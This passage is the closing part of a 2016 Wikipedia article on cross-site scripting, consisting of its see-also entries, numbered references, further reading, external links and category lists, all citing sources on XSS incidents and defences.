	+ For [Safari](https://en.wikipedia.org/wiki/Safari_%28web_browser%29): [JavaScript Blocker](http://javascript-blocker.toggleable.com/) or the advanced features of [uBlock](https://chrismatic.io/ublock/)
	+ For [Internet Explorer](https://en.wikipedia.org/wiki/Internet_Explorer): [Trust Setter](https://web.archive.org/web/20070621032607/http%3A/www.jasons-toolbox.com/programs.asp?Program=Trust%20Setter), an interface to setting Trusted and Restricted Sites (32-bit only, so does not work under Enhanced [Protected Mode](https://en.wikipedia.org/wiki/Mandatory_Integrity_Control) in 64-bit [Windows](https://en.wikipedia.org/wiki/Microsoft_Windows))
* [XSSer: an automatic framework to detect, exploit and report XSS vulnerabilities](http://xsser.sf.net/)
* [Cross-document messaging](https://en.wikipedia.org/wiki/Cross-document_messaging)
* [Self-XSS](https://en.wikipedia.org/wiki/Self-XSS)

**References[[edit](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=edit&section=18" \o "Edit section: References)]**

* 1. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-Symantec-2007-2nd-exec_1-0) During the second half of 2007, 11,253 site-specific cross-site vulnerabilities were documented by XSSed, compared to 2,134 "traditional" vulnerabilities documented by Symantec, in [*"Symantec Internet Security Threat Report: Trends for July–December 2007 (Executive Summary)"*](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf) *(PDF)* ***XIII****. Symantec Corp. April 2008: 1–3. Retrieved May 11, 2008.*
	2. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-2) [*"Same Origin Policy - Web Security. W3.org."*](http://www.w3.org/Security/wiki/Same_Origin_Policy)*. Retrieved November 4, 2014.*
	3. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-xssname_3-0) *"dross" on MSDN (15 Dec 2009).* [*"Happy 10th birthday Cross-Site Scripting!"*](http://blogs.msdn.com/b/dross/archive/2009/12/15/happy-10th-birthday-cross-site-scripting.aspx)*. Retrieved 2016-03-19. On the 16th of January, 2000, the following names were suggested and bounced around among a small group of Microsoft security engineers: [...] The next day there was consensus – Cross Site Scripting.*
	4. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-Grossman_4-0) *Grossman, Jeremiah (July 30, 2006).* [*"The origins of Cross-Site Scripting (XSS)"*](http://jeremiahgrossman.blogspot.com/2006/07/origins-of-cross-site-scripting-xss.html)*. Retrieved September 15, 2008.*
	5. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-5) *Arthur, Charles (September 21, 2010).* [*"Twitter users including Sarah Brown hit by malicious hacker attack"*](http://www.guardian.co.uk/technology/blog/2010/sep/21/twitter-bug-malicious-exploit-xss)*. The Guardian. Retrieved September 21, 2010.*
	6. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-6) *Leyden, John (May 23, 2008).* [*"Facebook poked by XSS flaw"*](http://www.theregister.co.uk/2008/05/23/facebook_xss_flaw/)*. The Register. Retrieved May 28, 2008.*
	7. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-7) [*"Full List of Incidents"*](http://projects.webappsec.org/Web-Hacking-Incident-Database)*. Web Application Security Consortium. February 17, 2008. Retrieved May 28, 2008.*
	8. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-8) *Dignan, Larry (April 21, 2008).* [*"Obama site hacked; Redirected to Hillary Clinton"*](http://www.zdnet.com/blog/security/obama-site-hacked-redirected-to-hillary-clinton/1042)*. ZDNet. Retrieved May 28, 2008.*
	9. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-9) *Christey, Steve; Martin, Robert A. (May 22, 2007).* [*"Vulnerability Type Distributions in CVE (version 1.1)"*](https://cwe.mitre.org/documents/vuln-trends/index.html)*. MITRE Corporation. Retrieved June 7, 2008.*
	10. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-10) *Berinato, Scott (January 1, 2007).* [*"Software Vulnerability Disclosure: The Chilling Effect"*](http://web.archive.org/web/20080418072230/http%3A/www.csoonline.com/article/221113)*. CSO (CXO Media). p. 7. Archived from* [*the original*](http://www.csoonline.com/article/221113) *on April 18, 2008. Retrieved June 7, 2008.*
	11. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-11) *Amit, Yair (December 21, 2005).* [*"Google.com UTF-7 XSS Vulnerabilities"*](http://www.securiteam.com/securitynews/6Z00L0AEUE.html)*. Watchfire. Retrieved May 29, 2008.*
	12. ^ [Jump up to: ***a***](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-HopeWalther_12-0) [***b***](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-HopeWalther_12-1) *Paco, Hope; Walther, Ben (2008). Web Security Testing Cookbook. Sebastopol, CA: O'Reilly Media, Inc. p. 128.* [*ISBN*](https://en.wikipedia.org/wiki/International_Standard_Book_Number)[*978-0-596-51483-9*](https://en.wikipedia.org/wiki/Special%3ABookSources/978-0-596-51483-9)*.*
	13. ^ [Jump up to: ***a***](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-WASC-2005_13-0) [***b***](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-WASC-2005_13-1) [***c***](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-WASC-2005_13-2) [*"Cross-site Scripting"*](http://projects.webappsec.org/Cross-Site-Scripting)*. Web Application Security Consortium. 2005. Retrieved May 28, 2008.*
	14. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-GHFPR_14-0) *Grossman, Jeremiah; Hansen, Robert; Fogie, Seth; Petkov, Petko D.; Rager, Anton (2007).* [*XSS Attacks: Cross Site Scripting Exploits and Defense (Abstract)*](http://books.google.com/?id=dPhqDe0WHZ8C)*. Elsevier Science & Technology via Google Book Search. pp. 70, 156.* [*ISBN*](https://en.wikipedia.org/wiki/International_Standard_Book_Number)[*1-59749-154-3*](https://en.wikipedia.org/wiki/Special%3ABookSources/1-59749-154-3)*. Retrieved May 28, 2008.*
	15. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-15) This worm is named JS/Ofigel-A, JS/Quickspace.A and JS.Qspace, in [*"JS/Ofigel-A"*](http://www.sophos.com/security/analyses/viruses-and-spyware/jsofigela.html)*. Sophos. Retrieved June 5, 2008.*  and [*"F-Secure Malware Information Pages: JS/Quickspace.A"*](http://www.f-secure.com/v-descs/js_quickspace_a.shtml)*. F-Secure. January 5, 2007. Retrieved June 5, 2008.*  and [*"JS.Qspace"*](http://www.symantec.com/security_response/writeup.jsp?docid=2006-120313-2523-99)*. Symantec Corp. February 13, 2007. Retrieved June 5, 2008.*
	16. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-16) Viruses and worms in *Alcorn, Wade (September 27, 2005).* [*"The Cross-site Scripting Virus"*](http://www.bindshell.net/papers/xssv)*. BindShell.net. Retrieved May 27, 2008.*  and *Grossman, Jeremiah (April 2006).* [*"Cross-Site Scripting Worms and Viruses: The Impending Threat and the Best Defense"*](http://www.net-security.org/dl/articles/WHXSSThreats.pdf) *(PDF). WhiteHat Security. p. 20. Retrieved June 6, 2008.*
	17. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-17) [*"Bug 272620 – XSS vulnerability in internal error messages"*](http://bugzilla.mozilla.org/show_bug.cgi?id=272620)*. Bugzilla@Mozilla. 2004. Retrieved May 29, 2008.*
	18. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-18) [*"DOM based XSS"*](https://www.owasp.org/index.php/DOM_Based_XSS)*. OWASP.*
	19. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-19) [*"JQuery bug #9521"*](http://bugs.jquery.com/ticket/9521)*. 2011.*
	20. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-20) [*"DOM based XSS prevention cheat sheet"*](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet)*. OWASP.*
	21. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-21) [*"Strict Contextual Escaping"*](http://docs.angularjs.org/api/ng.%24sce)*. Angular.js.*
	22. ^ [Jump up to: ***a***](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-geekstuff_22-0) [***b***](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-geekstuff_22-1) [***c***](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-geekstuff_22-2) <http://www.thegeekstuff.com/2012/02/xss-attack-examples/>
	23. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-23) *Brodkin, Jon (October 4, 2007).* [*"The top 10 reasons Web sites get hacked"*](http://www.networkworld.com/news/2007/100407-web-site-vulnerabilities.html)*. Network World (IDG). Retrieved June 8, 2008.*
	24. ^ [Jump up to: ***a***](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-OWASP_24-0) [***b***](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-OWASP_24-1) *Williams, Jeff (January 19, 2009).* [*"XSS (Cross Site Scripting) Prevention Cheat Sheet"*](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet)*. OWASP. Retrieved February 4, 2009.*
	25. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-Sharma_25-0) *Sharma, Anand (February 3, 2004).* [*"Prevent a cross-site scripting attack"*](http://www.ibm.com/developerworks/ibm/library/wa-secxss/)*. IBM. Retrieved May 29, 2008.*
	26. ^ [Jump up to: ***a***](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-ModSecurity_26-0) [***b***](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-ModSecurity_26-1) [*"ModSecurity: Features: PDF Universal XSS Protection"*](http://www.modsecurity.org/projects/modsecurity/apache/feature_universal_pdf_xss.html)*. Breach Security. Retrieved June 6, 2008.*
	27. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-27) [*"Ajax and Mashup Security"*](http://www.openajax.org/whitepapers/Ajax%20and%20Mashup%20Security.php)*. OpenAjax Alliance. Retrieved June 9, 2008.*
	28. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-28) *O'Reilly, Tim (September 30, 2005).* [*"What Is Web 2.0"*](http://oreilly.com/web2/archive/what-is-web-20.html)*. O'Reilly Media. pp. 4–5. Retrieved June 4, 2008.*
	29. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-29) "A page should work, even if in a degraded form, without JavaScript." in *Zammetti, Frank (April 16, 2007).* [*Practical JavaScript, DOM Scripting and Ajax Projects via Amazon Reader*](http://www.amazon.com/gp/reader/1590598164/)*. Apress. p. 36.* [*ISBN*](https://en.wikipedia.org/wiki/International_Standard_Book_Number)[*1-59059-816-4*](https://en.wikipedia.org/wiki/Special%3ABookSources/1-59059-816-4)*. Retrieved June 4, 2008.*
	30. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-30) [*"How to use security zones in Internet Explorer"*](http://support.microsoft.com/kb/174360/en-us)*. Microsoft. December 18, 2007. Retrieved June 4, 2008.*
	31. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-31) *Lie, Håkon Wium (February 7, 2006).* [*"Opera 9 Technology Preview 2"*](http://labs.opera.com/news/2006/02/07-2/)*. Opera Software. Retrieved June 4, 2008.*
	32. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-32) [*"NoScript"*](http://addons.mozilla.org/en-US/firefox/addon/noscript/)*. Mozilla. May 30, 2008. Retrieved June 4, 2008.*  and *Mogull, Rich (March 18, 2008).* [*"Should Mac Users Run Antivirus Software?"*](http://db.tidbits.com/article/9511)*. TidBITS (TidBITS Publishing). Retrieved June 4, 2008.*
	33. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-33) [*""Using client-side events" in DataWindow Programmer's Guide"*](http://www.elsevier.com/homepage/saa/trac/progmeth.htm)*. Sybase. March 2003. Retrieved June 4, 2008.*
	34. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-34) 73% of sites relied on JavaScript in late 2006, in [*"'Most websites' failing disabled"*](http://news.bbc.co.uk/2/hi/technology/6210068.stm)*. BBC News. December 6, 2006. Retrieved June 4, 2008.*
	35. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-35) [*"NoScript Features"*](http://noscript.net/features)*. Retrieved March 7, 2009.*
	36. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-36) [*"Content Security Policy 1.0"*](http://www.w3.org/TR/CSP/)*. W3C Candidate Recommendation. November 15, 2012. Retrieved February 22, 2013.*
	37. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-37) [Sceptic blog](http://blog.skeptikal.org/2010/03/website-security-seals-smackdown.html)
	38. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-38) *Di Paola, Stefano (January 3, 2007).* [*"Adobe Acrobat Reader Plugin - Multiple Vulnerabilities"*](http://www.wisec.it/vulns.php?page=9)*. Wisec.it. Retrieved March 13, 2012.*
	39. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-39) [*"Security hole in Internet Explorer allows attackers to execute arbitrary programs"*](http://www.h-online.com/security/news/item/Security-hole-in-Internet-Explorer-allows-attackers-to-execute-arbitrary-programs-735225.html)*. Heise Media UK. May 16, 2008. Retrieved June 7, 2008.*
	40. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-40) [*"Update available for potential HTTP header injection vulnerabilities in Adobe Flash Player"*](http://www.adobe.com/support/security/bulletins/apsb06-18.html)*. Adobe Systems. November 14, 2006. Retrieved June 7, 2008.*
	41. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-41) *Auger, Robert (April 17, 2008).* [*"The Cross-Site Request Forgery (CSRF/XSRF) FAQ (version 1.59)"*](http://www.cgisecurity.com/articles/csrf-faq.shtml)*. Cgisecurity.com. Retrieved June 7, 2008.*
	42. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-42) ["Article about CSRF and same-origin XSS"](http://www.webappsecblog.com/CsrfAndSameOriginXss.html)
	43. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-Covert_Redirect_43-0) [*"OAuth 2.0 and OpenID Redirect Vulnerability"*](https://news.ycombinator.com/item?id=7685677)*. Hacker News. May 2, 2014. Retrieved December 21, 2014.*
	44. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-tomsguide_44-0) *Scharr, Jill (May 2, 2014).* [*"Facebook, Google Users Threatened by New Security Flaw"*](http://www.tomsguide.com/us/facebook-google-covert-redirect-flaw%2Cnews-18726.html)*. Tom's Guide. Retrieved December 21, 2014.*
	45. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-45) [*"SQL Injection"*](http://projects.webappsec.org/SQL-Injection)*. Web Application Security Consortium. 2005. Retrieved June 7, 2008.*
	46. [**Jump up ^**](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_ref-46) [*"The Cross-Site Scripting FAQ"*](http://www.cgisecurity.com/xss-faq.html)*. Cgisecurity.com. 2002. Retrieved June 7, 2008.*

**Further reading[[edit](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=edit&section=19" \o "Edit section: Further reading)]**

* *MacKenzie, Thomas.* [*"ScriptAlert1.com – Concise Cross-Site Scripting Explanation in Multiple Languages"*](http://www.scriptalert1.com/)*. Retrieved 2015-10-24.*
* [*"XSS Explained – Simple XSS Explanation"*](http://www.houbysoft.com/v/en/papers/xss/)*. HoubySoft.com. Retrieved 2015-10-24.*
* [*"Preventing XSS in ASP.NET Made Easy"*](http://lockmedown.com/preventing-xss-in-asp-net-made-easy/)*. Lock Me Down | Security for the Everyday Developer. 2015-02-06. Retrieved 2015-10-24.*
* [*"Cross Site Scripting"*](http://projects.webappsec.org/Cross-Site-Scripting)*. The Web Application Security Consortium. 2005-10-13. Retrieved 2015-10-24.*

**External links[**[**edit**](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=edit&section=20)**]**

* [OWASP](https://en.wikipedia.org/wiki/OWASP): [XSS](https://www.owasp.org/index.php/XSS), [Testing for XSS](http://www.owasp.org/index.php/Testing_for_Cross_site_scripting), [Reviewing Code for XSS](http://www.owasp.org/index.php/Reviewing_Code_for_Cross-site_scripting)
* [XSSed: Database of Websites Vulnerable to Cross-Site Scripting Attacks](http://www.xssed.com/)
* [Flash Animation of Cross-Site Scripting Attack](http://www.virtualforge.de/vmovie/xss_lesson_1/xss_selling_platform_v1.0.swf)

<img src="//en.wikipedia.org/wiki/Special:CentralAutoLogin/start?type=1x1" alt="" title="" width="1" height="1" style="border: none; position: absolute;" />

Retrieved from "<https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&oldid=718419069>"

[Categories](https://en.wikipedia.org/wiki/Help%3ACategory):

* [Web security exploits](https://en.wikipedia.org/wiki/Category%3AWeb_security_exploits)
* [Computer security exploits](https://en.wikipedia.org/wiki/Category%3AComputer_security_exploits)
* [Injection exploits](https://en.wikipedia.org/wiki/Category%3AInjection_exploits)
* [Hacking (computer security)](https://en.wikipedia.org/wiki/Category%3AHacking_%28computer_security%29)

Hidden categories:

* [Use mdy dates from June 2013](https://en.wikipedia.org/wiki/Category%3AUse_mdy_dates_from_June_2013)
* [All articles with unsourced statements](https://en.wikipedia.org/wiki/Category%3AAll_articles_with_unsourced_statements)
* [Articles with unsourced statements from July 2013](https://en.wikipedia.org/wiki/Category%3AArticles_with_unsourced_statements_from_July_2013)
* [Vague or ambiguous time from March 2016](https://en.wikipedia.org/wiki/Category%3AVague_or_ambiguous_time_from_March_2016)
* [Wikipedia articles needing style editing from December 2014](https://en.wikipedia.org/wiki/Category%3AWikipedia_articles_needing_style_editing_from_December_2014)
* [All articles needing style editing](https://en.wikipedia.org/wiki/Category%3AAll_articles_needing_style_editing)

**Navigation menu**

**Personal tools**

* Not logged in
* [Talk](https://en.wikipedia.org/wiki/Special%3AMyTalk)
* [Contributions](https://en.wikipedia.org/wiki/Special%3AMyContributions)
* [Create account](https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Cross-site+scripting&type=signup)
* [Log in](https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Cross-site+scripting)

**Namespaces**

* [Article](https://en.wikipedia.org/wiki/Cross-site_scripting)
* [Talk](https://en.wikipedia.org/wiki/Talk%3ACross-site_scripting)

**Variants**

**Views**

* [Read](https://en.wikipedia.org/wiki/Cross-site_scripting)
* [Edit](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=edit)
* [View history](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=history)

**More**

**Search**

Top of Form



Bottom of Form

**Navigation**

* [Main page](https://en.wikipedia.org/wiki/Main_Page)
* [Contents](https://en.wikipedia.org/wiki/Portal%3AContents)
* [Featured content](https://en.wikipedia.org/wiki/Portal%3AFeatured_content)
* [Current events](https://en.wikipedia.org/wiki/Portal%3ACurrent_events)
* [Random article](https://en.wikipedia.org/wiki/Special%3ARandom)
* [Donate to Wikipedia](https://donate.wikimedia.org/wiki/Special%3AFundraiserRedirector?utm_source=donate&utm_medium=sidebar&utm_campaign=C13_en.wikipedia.org&uselang=en)
* [Wikipedia store](https://shop.wikimedia.org/)

**Interaction**

* [Help](https://en.wikipedia.org/wiki/Help%3AContents)
* [About Wikipedia](https://en.wikipedia.org/wiki/Wikipedia%3AAbout)
* [Community portal](https://en.wikipedia.org/wiki/Wikipedia%3ACommunity_portal)
* [Recent changes](https://en.wikipedia.org/wiki/Special%3ARecentChanges)
* [Contact page](https://en.wikipedia.org/wiki/Wikipedia%3AContact_us)

**Tools**

* [What links here](https://en.wikipedia.org/wiki/Special%3AWhatLinksHere/Cross-site_scripting)
* [Related changes](https://en.wikipedia.org/wiki/Special%3ARecentChangesLinked/Cross-site_scripting)
* [Upload file](https://en.wikipedia.org/wiki/Wikipedia%3AFile_Upload_Wizard)
* [Special pages](https://en.wikipedia.org/wiki/Special%3ASpecialPages)
* [Permanent link](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&oldid=718419069)
* [Page information](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=info)
* [Wikidata item](https://www.wikidata.org/wiki/Q371199)
* [Cite this page](https://en.wikipedia.org/w/index.php?title=Special:CiteThisPage&page=Cross-site_scripting&id=718419069)

**Print/export**

* [Create a book](https://en.wikipedia.org/w/index.php?title=Special:Book&bookcmd=book_creator&referer=Cross-site+scripting)
* [Download as PDF](https://en.wikipedia.org/w/index.php?title=Special:Book&bookcmd=render_article&arttitle=Cross-site+scripting&returnto=Cross-site+scripting&oldid=718419069&writer=rdf2latex)
* [Printable version](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&printable=yes)

**Languages**

* [العربية](https://ar.wikipedia.org/wiki/%D8%A8%D8%B1%D9%85%D8%AC%D8%A9_%D8%B9%D8%A8%D8%B1_%D9%85%D9%88%D8%A7%D9%82%D8%B9)
* [Català](https://ca.wikipedia.org/wiki/Cross_Site_Scripting)
* [Čeština](https://cs.wikipedia.org/wiki/Cross-site_scripting)
* [Deutsch](https://de.wikipedia.org/wiki/Cross-Site-Scripting)
* [Eesti](https://et.wikipedia.org/wiki/Murdskriptimine)
* [Ελληνικά](https://el.wikipedia.org/wiki/Cross-site_scripting)
* [Español](https://es.wikipedia.org/wiki/Cross-site_scripting)
* [Euskara](https://eu.wikipedia.org/wiki/Cross-site_scripting)
* [فارسی](https://fa.wikipedia.org/wiki/%D8%AA%D8%B2%D8%B1%DB%8C%D9%82_%D8%A7%D8%B3%DA%A9%D8%B1%DB%8C%D9%BE%D8%AA_%D8%A7%D8%B2_%D8%B7%D8%B1%DB%8C%D9%82_%D9%88%D8%A8%E2%80%8C%DA%AF%D8%A7%D9%87)
* [Français](https://fr.wikipedia.org/wiki/Cross-site_scripting)
* [한국어](https://ko.wikipedia.org/wiki/%EC%82%AC%EC%9D%B4%ED%8A%B8_%EA%B0%84_%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8C%85)
* [Bahasa Indonesia](https://id.wikipedia.org/wiki/XSS)
* [Italiano](https://it.wikipedia.org/wiki/Cross-site_scripting)
* [עברית](https://he.wikipedia.org/wiki/XSS)
* [Latviešu](https://lv.wikipedia.org/wiki/XSS)
* [Lietuvių](https://lt.wikipedia.org/wiki/XSS)
* [മലയാളം](https://ml.wikipedia.org/wiki/%E0%B4%95%E0%B5%8D%E0%B4%B0%E0%B5%8B%E0%B4%B8%E0%B5%8D_%E0%B4%B8%E0%B5%88%E0%B4%B1%E0%B5%8D%E0%B4%B1%E0%B5%8D_%E0%B4%B8%E0%B5%8D%E0%B4%95%E0%B5%8D%E0%B4%B0%E0%B4%BF%E0%B4%AA%E0%B5%8D%E0%B4%B1%E0%B5%8D%E0%B4%B1%E0%B4%BF%E0%B4%82%E0%B4%97%E0%B5%8D)
* [မြန်မာဘာသာ](https://my.wikipedia.org/wiki/XSS)
* [Nederlands](https://nl.wikipedia.org/wiki/Cross-site_scripting)
* [日本語](https://ja.wikipedia.org/wiki/%E3%82%AF%E3%83%AD%E3%82%B9%E3%82%B5%E3%82%A4%E3%83%88%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0)
* [Norsk bokmål](https://no.wikipedia.org/wiki/Cross_Site_Scripting)
* [Polski](https://pl.wikipedia.org/wiki/Cross-site_scripting)
* [Português](https://pt.wikipedia.org/wiki/Cross-site_scripting)
* [Русский](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D1%8B%D0%B9_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B8%D0%BD%D0%B3)
* [Slovenčina](https://sk.wikipedia.org/wiki/Cross-site_scripting)
* [Српски / srpski](https://sr.wikipedia.org/wiki/Cross-site_scripting)
* [Suomi](https://fi.wikipedia.org/wiki/Cross_site_scripting)
* [Svenska](https://sv.wikipedia.org/wiki/Cross_site_scripting)
* [Türkçe](https://tr.wikipedia.org/wiki/Cross_site_scripting)
* [Українська](https://uk.wikipedia.org/wiki/%D0%9C%D1%96%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B8%D0%B9_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D1%96%D0%BD%D0%B3)
* [中文](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC)

[Edit links](https://www.wikidata.org/wiki/Q371199#sitelinks-wikipedia)

* This page was last modified on 3 May 2016, at 11:56.
* Text is available under the [Creative Commons Attribution-ShareAlike License](https://en.wikipedia.org/wiki/Wikipedia%3AText_of_Creative_Commons_Attribution-ShareAlike_3.0_Unported_License); additional terms may apply. By using this site, you agree to the [Terms of Use](https://wikimediafoundation.org/wiki/Terms_of_Use) and [Privacy Policy](https://wikimediafoundation.org/wiki/Privacy_policy). Wikipedia® is a registered trademark of the [Wikimedia Foundation, Inc.](https://www.wikimediafoundation.org/), a non-profit organization.
* [Privacy policy](https://wikimediafoundation.org/wiki/Privacy_policy)
* [About Wikipedia](https://en.wikipedia.org/wiki/Wikipedia%3AAbout)
* [Disclaimers](https://en.wikipedia.org/wiki/Wikipedia%3AGeneral_disclaimer)
* [Contact Wikipedia](https://en.wikipedia.org/wiki/Wikipedia%3AContact_us)
* [Developers](https://www.mediawiki.org/wiki/Special%3AMyLanguage/How_to_contribute)
* [Cookie statement](https://wikimediafoundation.org/wiki/Cookie_statement)
* [Mobile view](https://en.m.wikipedia.org/w/index.php?title=Cross-site_scripting&mobileaction=toggle_view_mobile)
* 
* 